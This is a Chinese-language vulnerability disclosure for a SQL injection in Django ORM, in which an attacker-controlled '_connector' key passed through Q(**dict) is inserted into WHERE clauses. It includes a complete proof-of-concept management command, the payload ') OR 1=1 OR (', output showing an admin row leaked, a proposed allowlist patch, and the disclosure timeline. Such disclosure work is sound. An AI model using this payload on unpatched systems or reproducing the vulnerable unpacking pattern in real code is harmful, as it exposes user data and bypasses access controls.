Django ORM Q对象SQL注入漏洞分析
漏洞概述
Django ORM在处理Q对象时存在严重的SQL注入漏洞。WhereNode.as_sql方法使用不安全的字符串格式化将查询连接器(如’AND’)注入到原始SQL查询中。攻击者可以通过字典解包方式创建Q对象时控制_connector键值,从而在WHERE子句中注入任意SQL,完全绕过ORM的参数化安全防护,导致过滤器绕过和完整数据泄露。
漏洞详情
漏洞根源位于django/db/models/sql/where.py中的WhereNode.as_sql方法。该方法负责将多个过滤条件连接在一起,代码使用不安全的字符串格式化插入连接器:
1
2
|
# WhereNode.as_sql方法中的简化漏洞代码表示
conn = ' %s ' % self.connector
|
该方法在将self.connector属性嵌入查询之前未执行任何验证或清理。框架允许开发人员在初始化Q对象时通过_connector参数指定此连接器。在具有复杂过滤功能的应用程序(如搜索API)中,常见的模式是接受过滤器字典并直接解包:
1
2
3
4
|
# 易受攻击的应用程序模式示例
filter_dictionary = request.json.get('filters', {})
query = Q(**filter_dictionary) # 易受攻击的代码行
results = User.objects.filter(query)
|
如果攻击者控制filter_dictionary的内容,他们可以插入带有恶意SQL负载的_connector键,该负载将直接注入到查询结构中。
PoC验证
首先创建新的Django项目和应用程序:
1
2
|
django-admin startproject sqli .
python manage.py startapp webapp
|
在settings.py中添加webapp到INSTALLED_APPS:
1
2
3
4
5
6
7
8
9
10
11
|
# sqli/settings.py
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'webapp', # <-- 添加此项
]
|
在webapp目录中创建management/commands文件夹,并在management和commands目录中都创建空的__init__.py文件。
在management/commands目录中创建poc.py文件并添加以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
from django.db import connection
def process_vulnerable_request(search_dict):
"""
此函数模拟应用程序的易受攻击部分。
它接受过滤器字典(如同来自JSON API请求)
并使用解包模式而不验证键。
"""
print("--> Entering vulnerable function: Q(**search_dict)")
# 易受攻击的代码行:解包用户控制的字典
query = Q(**search_dict)
return User.objects.filter(query)
class Command(BaseCommand):
help = "通过Q对象的**kwargs解包演示真实的SQLi PoC"
def handle(self, *args, **options):
# 1. 设置
User.objects.all().delete()
User.objects.create(username="alice", is_admin=False)
User.objects.create(username="root", is_admin=True)
self.stdout.write("Sample users created: 'alice' (non-admin) and 'root' (admin)")
self.stdout.write("-" * 40)
# 2. 恶意负载
# 此字典模拟攻击者发送的JSON负载
malicious_user_payload = {
"is_admin": False,
"username": "nonexistent_user",
"_connector": ") OR 1=1 OR ("
}
self.stdout.write(f"Simulating malicious user payload:\n{malicious_user_payload}")
self.stdout.write("-" * 40)
# 3. 执行易受攻击的代码
queryset = process_vulnerable_request(malicious_user_payload)
self.stdout.write("-" * 40)
# 4. 证明
compiler = queryset.query.get_compiler(using='default')
sql, params = compiler.as_sql()
self.stdout.write(self.style.SQL_KEYWORD("Generated SQL:"))
self.stdout.write(sql % tuple(f"'{p}'" for p in params))
self.stdout.write("-" * 40)
# 5. 影响
self.stdout.write("Query Results:")
results = list(queryset)
for user in results:
self.stdout.write(f" - Found user: {user}")
if any(user.is_admin for user in results):
self.stdout.write(self.style.SUCCESS("\n SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned."))
else:
self.stdout.write(self.style.ERROR("\n- FAILED: The injection did not bypass the filter."))
|
修改models.py添加示例用户模型:
1
2
3
4
5
6
7
8
9
10
|
# models.py
from django.db import models
class User(models.Model):
username = models.CharField(max_length=100)
is_admin = models.BooleanField(default=False)
def __str__(self):
return f"{self.username} (Admin: {self.is_admin})"
|
运行以下命令迁移数据库并运行PoC:
1
2
3
|
python manage.py makemigrations
python manage.py migrate
python manage.py poc
|
代码输出将突出显示该漏洞,因为它允许SQL注入并打印表中的用户。它还将显示最终查询以突出显示漏洞。预期输出示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
Sample users created: 'alice' (non-admin) and 'root' (admin)
----------------------------------------
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
--> Entering vulnerable function: Q(**search_dict)
----------------------------------------
Generated SQL:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin" FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
----------------------------------------
Query Results:
- Found user: alice (Admin: False)
- Found user: root (Admin: True)
SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned.
|
修复建议
根本原因是对_connector字符串的信任。漏洞可以通过在使用字符串格式化之前对连接器值执行严格的允许列表验证来修补。
建议的补丁(django/db/models/sql/where.py):
1
2
3
4
5
6
7
8
9
10
11
12
|
# 在WhereNode.as_sql方法中...
def as_sql(self, compiler, connection):
# 在方法开头添加此验证
if self.connector not in ('AND', 'OR'):
raise ValueError(
f"Invalid connector '{self.connector}'. Must be 'AND' or 'OR'."
)
# ...(方法的其余部分正常进行)
conn = ' %s ' % self.connector
# ...
|
影响
此漏洞的影响是关键性的。能够控制用于过滤模型的字典键的攻击者可以:
- 绕过访问控制:通过注入始终为真的条件(例如OR 1=1)检索查询表中的任何和所有记录,从而绕过WHERE子句中的所有其他过滤器。
- 泄露敏感数据:攻击者可以从用户表中泄露所有用户(包括管理员)的数据。这适用于通过易受攻击的过滤器公开的任何模型。
- 降低性能:复杂的注入SQL负载可能通过使数据库过载而导致拒绝服务条件。
时间线
- 2025年9月12日 - cyberstan向Django提交报告
- 2025年9月17日 - Django工作人员确认收到报告
- 2025年9月26日 - 状态更改为"已分类"
- 2025年10月14日 - Django确认漏洞并请求CVE
- 2025年11月5日 - 在Django 5.2.8、5.1.14和4.2.26版本中修复
- 2025年11月6日 - 报告公开披露
该漏洞被评定为严重级别(9.8),涉及SQL注入弱点。Django安全团队提供了补丁,验证后确认可成功防止漏洞并在出现无效连接器时正确引发ValueError。